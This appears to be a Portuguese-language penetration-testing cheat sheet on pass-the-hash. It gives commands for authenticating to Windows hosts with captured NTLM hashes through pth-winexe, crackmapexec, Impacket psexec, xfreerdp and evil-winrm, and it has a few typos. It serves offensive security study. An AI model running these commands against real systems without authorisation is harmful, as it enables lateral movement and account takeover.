# Pass The Hash

É uma técnica que permite que o usuário se autentique usando um nome de usuário válido e o hash, em vez da senha decifrada. Portanto, se você adquiriu um hash, poderá usá-lo contra outro sistema.

### SMB

#### pth-winexe

Esse método funciona para contas de domínio do Active Directory e a conta de administrador local interna, então atente-se a isso.

Primeiro vamos passar o hash para uma variável de ambiente, como no exemplo abaixo:

```bash
export SMBHASH=aad3b435b51404eeaad3b435b51404ee:6F403D3166024568403A94C3A6561896
pth-winexe -U administrator //<ip> cmd
```

Agora vamos executar o seguinte comando

```bash
pth-winexe -U admin/hash:has //<ip> cmd
```

Também podemos acessar sem definir variáveis, da seguinte maneira:

```bash
pth-winexe -U administrator%aad3b435b51404eeaad3b435b51404ee:6F403D3166024568403A94C3A6561896 //<ip> cmd
```

{% hint style="success" %}
IMORTANTE: Note que nos comandos acima,temos o hash HTLM (6F403D...) e também temos um outro hash (aad3b435b51404eeaad3b435b51404ee) que nada mais que a  parte do hash LM nulo.
{% endhint %}



#### crackmapexec

Altere o hash no final. Caso use o `secretsdump.py` (Impacket) para capturar o hash, utilize somente a quarta parte dele, sendo que as partes são dividas por um `:` (dois pontos), ou a terceira e quarta parte.

```bash
crackmapexec smb <ip> -u <user> -H 58743b11ec7e90e90bd32c72aa7c4e27
crackmapexec smb <ip> -u <user> -H ad43e435bee404ee775db435b51474eb:524beb11e6aa81ab43d32ca7b25c8e4b
```



### PSExec

Caso use o `secretsdump.py` (Impacket) para capturar o hash, utilize somente a terceira e quarta última parte dele, sendo que as partes são dividas por um `:` (dois pontos).

```bash
python3 psexec.py <domain.local>/<user>@<ip> 'powershell.exe' -hashes ad43e435bee404ee775db435b51474eb:524beb11e6aa81ab43d32ca7b25c8e4b
```



### Remote Desktop

```bash
apt-get update
apt-get install freerdp-x11
xfreerdp /u:admin /d:win7 /pth:hash:hash /v:<ip>
```



### WinRM

#### Evil-WinRM

```bash
evil-winrm -i <ip> -u <user> -H <hash>
```
